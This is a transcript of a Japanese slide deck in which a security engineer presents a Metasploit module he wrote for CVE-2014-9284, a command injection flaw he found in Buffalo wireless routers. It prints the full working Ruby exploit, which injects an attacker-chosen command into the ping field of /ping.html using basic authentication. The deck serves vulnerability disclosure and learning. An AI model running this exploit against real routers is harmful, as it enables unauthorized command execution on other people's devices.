metsploitのシグネチャを作ってみた。(cve-2014-9284)

16
Metsploit ののののののののののののOS ののののののののののののCVE-2014- 9284

Upload: abendcve99990001

Post on 17-Aug-2015

412 views

Category:

Engineering


3 download

TRANSCRIPT

Page 1: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

Metsploitのシグネチャを作ってみた。

OSコマンドインジェクション( CVE-2014-9284)

Page 2: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

自己紹介Satoshi Ogawa( 小河哲之 )Twitter: abend

アルコール摂取に余念がないセキュリティエンジニア

NO DRINK, NO HACK!

Page 3: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

この前、脆弱性を発見したんです

Page 4: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

どうやって見つけたのか

自宅にある Buffaloの無線ルータにWebアプリケーション診断を実施したら、 OSコマンドインジェクションを見つけました。大分前に。

詳細は別の資料でご紹介します。

Page 5: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

OSコマンドインジェクションって

こんな感じの脆弱性です。

Page 6: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

なんとなく

暇だったから、発見した脆弱性をMetasploitに実装してみると思い立った。

Page 7: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

Metasploit

Metasploitはフリーツールでペネトレーションテストツールです。http://www.metasploit.com/

Page 8: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

組み込んでみる

rubyでMetasploitのシグネチャは書かれており、さまざまな脆弱性のシグネチャが存在するので、それを参考に組み込むことに。

Page 9: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

作ってみたrequire 'msf/core'class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize super( 'Name' => 'Buffalo Wireless Router OS Command Injection', 'Version' => '$Revision:$', 'Description' => 'Buffalo Wireless Router OS Command Injection.BHR-4GRV2 Ver.1.04 > ,WEX-300 Ver.1.60 > ,WHR-1166DHP Ver.1.60 > ,WHR-300HP2 Ver.1.60 > ,WHR-600D Ver.1.60 > ,WMR-300 Ver.1.60 > ,WSR-600DHP Ver.1.60 >.', ‘Author’ => [‘Satoshi Ogawa’],‘License’ => MSF_LICENSE,‘References’ =>[ [ 'CVE', '2014-9284'],[ 'URL', 'https://jvn.jp/jp/JVN50447904/' ], ] ) register_options( [ Opt::RHOST('',[true,'router ip','']), OptString.new('USERNAME', [ true, 'basic authentication username', 'admin']), OptString.new('PASSWORD', [ true, 'basic authentication password', '']), OptString.new('CMD', [ true, 'Command', 'sleep 10']), OptString.new('RES_FLG', [ true, 'yes:Display Response no:No Display', 'no']), ], self.class) end def run begin rhost = datastore['RHOST'] user = datastore['USERNAME'] pass = datastore['PASSWORD'] cmd = datastore['CMD'] res_flg = datastore['RES_FLG'] user_pass = Rex::Text.encode_base64(user + ":" + pass) decode = Rex::Text.decode_base64(user_pass) postrequest = "ping_ipaddress=1|#{cmd}" starttime = Time.now res = send_request_cgi({ 'uri' => "/ping.html", 'version' => "1.1", 'method' => 'POST', 'data' => postrequest,'headers' => { 'Authorization' => "Basic #{user_pass}", 'Proxy-Connection' => "Keep-Alive",} }) endtime = Time.now interval = endtime - starttime print_status("ResponseTime: #{interval} sec")

if res_flg == "yes" then print_status("#{res}") end

end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE =>e puts e.message endend

Page 10: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

動かしてみる

オプションはこんな感じになった。

Page 11: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

動かしてみる

オプションの CMDで Injectする OSコマンドを指定する。 Defaultでは「 sleep 10」としており、レスポンスタイムを出力している。

Page 12: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

結果を見てみた

「 sleep 10」でレスポンスタイムが 10秒程度となっており、コマンドが評価されていることがわかる。

Page 13: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

試してみた

該当製品は basic認証を使用しており、ユーザ名は固定 (admin)であるため、 passwordと rhost指定すれば実行可能。

Page 14: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

試してみた

CMDの内容を変更し、 time baseなチェック項目以外を実施する場合は、レスポンス内容の確認が必要となる。その場合は、 RES_FLGを yesにすることでレスポンスが標準出力される。

Page 15: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

だが、しかし

CVE-2014-9284の場合、実行可能なコマンドが制限されているため、レスポンスの標準出力はあまり必要ない(たぶん)。そんな訳で shellが取れるわけではない。

※詳細は別の資料にて。

Page 16: Metsploitのシグネチャを作ってみた。(CVE-2014-9284)

まとめ

脆弱性の内容だけではなく、 Rubyも勉強が必要だなって思った。ドキュメントはしっかりしてそうなので、頑張るだけ。

http://www.rubydoc.info/github/rapid7/metasploit-framework/index